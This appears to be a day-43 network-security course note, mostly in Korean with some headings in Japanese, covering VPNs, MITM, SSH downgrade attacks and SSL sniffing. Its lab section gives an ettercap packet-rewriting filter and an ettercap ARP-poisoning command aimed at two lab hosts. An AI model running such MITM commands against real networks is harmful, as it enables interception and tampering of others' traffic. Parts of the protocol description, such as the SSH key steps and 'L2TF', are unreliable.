43日目ネットワークトレーニング(2022.03.04)

Internal Network

- 기업 내부에서 데이터 통신을 하기 위한 네트워크
- 회사 내의 데이터 통신은 인터넷과 구분된 별도의 임대 회선(Leased Line) 사용
- 가격이 고가인 것이 단점
-> 임대 회선과 비슷한 수준의 기밀성을 제공하려면 VPN 사용 및 암호화 필요.
VPN에서 사용하는 암호화 프로토콜은 PPTP,L2TF,IPSec,SSL 등이 있음.

MITM(ManIn The Middle)攻撃

- 글자 그대로 누군가의 사이에 끼어드는 것
- 클라이언트와 서버의 통신에 암호화된 채널을 이용하면서 ARP 리다이렉트와
- ICMP 리다이렉트, ARP 스푸핑이 무용지물이 되자, 이를 극복하기 위해 탄생
- MITM은 패킷 내용을 바꾸기 시도

SSH暗号化技術

1단계 : 클라이언트가 ssh를 통해 ssh서버에 접근하여 서버의 공개키를 받음

2단계 : 클라이언트는 자신의 사설 키로 데이터를 암호화하고,
이를 다시 서버의 공개키로 암호화하여 서버로 전송

3단계 : 해당 서버에 접속할 때마다 서버로부터 전달받은 공개 키가 클라이언트에 저장되어 있는 키와 같은 값인지를 검증

SSH MITM (SSH Downgrade Attack)

SSHバージョン

v1 : 암호화를 제공하고 있으나, 암호화가 완전히 이루어지기 전 취약한 부분이 존재
v2 : 디피-헬만 암호화 알고리즘 등을 통해서 초기 암호화 과정의 취약점을 제거

SSHバージョンの決定時のカウント

1.サーバはv 2のみを使用する(プロトコル2)

- 클라이언트가 v2만 지원할 경우 : v2으로 연결
- 클라이언트가 v1,v2를 모두 지원할 경우 : v2으로 연결
- 클라이언트가 v1만 지원할 경우 : 연결 불가능
	=> SSH Downgrade Attack은 불가능

2.サーバがv 1、v 2を同時にサポートしている場合(プロトコル2、1)

- 클라이언트가 v2만 지원할 경우 : v2으로 연결
- 클라이언트가 v1,v2를 모두 지원할 경우 : 우선순위에 따라 결정(일반적으로 v2사용)
- 클라이언트가 v1만 지원할 경우 : v1으로 연결
=> SSH Downgrade Attack 가능

3.サーバはv 1のみを使用する(プロトコル1)

- 클라이언트가 v2만 지원할 경우 : 연결 불가능
- 클라이언트가 v1,v2를 모두 지원할 경우 : v1으로 연결
- 클라이언트가 v1만 지원할 경우 : v1으로 연결
=> SSH Downgrade Attack 불필요

MITM攻撃を実行

# replace hello msg to merong
if (ip.proto == TCP && tcp.src == 7777) {
        replace("hello", "merong");
        msg("Message changed");
}

フィルタ変換

ettercap GUI 모드 실행
# ettercap -G

# etterfilter -o test1.ef etter.test1

Kali : nc -lvp 7777
centos : nc 192.168.100.128 7777

backtrack : 
필터에 따른 MITM 공격 수행
ettercap -T -q -F test1.ef -M ARP /192.168.100.128/ /192.168.100.129/

SSL

넷 스케이프사가 개발한 것으로 40비트와 128비트 암호화 통신 가능

1. 클라이언트는 서버에서 지원 가능한 방식(암호, 키 교환, 서명, 압축)을 알려줌
2. 서버는 클라이언트에게 지원가능한 방식이 포함된 서버 인증서를 클라이언트에게 발송
3. 서버가 클라이언트 인증서를 요구할 경우 클라이언트는 인증서를 서버로 전송
4. 암호화키로 사용될 세션키를 랜덤으로 생성하고 서버의 공개키로 암호화한 후 서버로 전송
5. 서버는 클라이언트에게 전송받은 세션키 복호화
6. 클라이언트는 전송된 모든 메시지에 대한 방식을 다음부터 적용할 것을 알리는 종결 메시지를 발송한 후 데이터 전송 단계로 이동

SSLリスニング

- 공격자는 임의의 인증서를 생성한 뒤 클라이언트에게 보내 별도의 SSL 세션을 생성하고, 이를 중간에 스니핑 한다.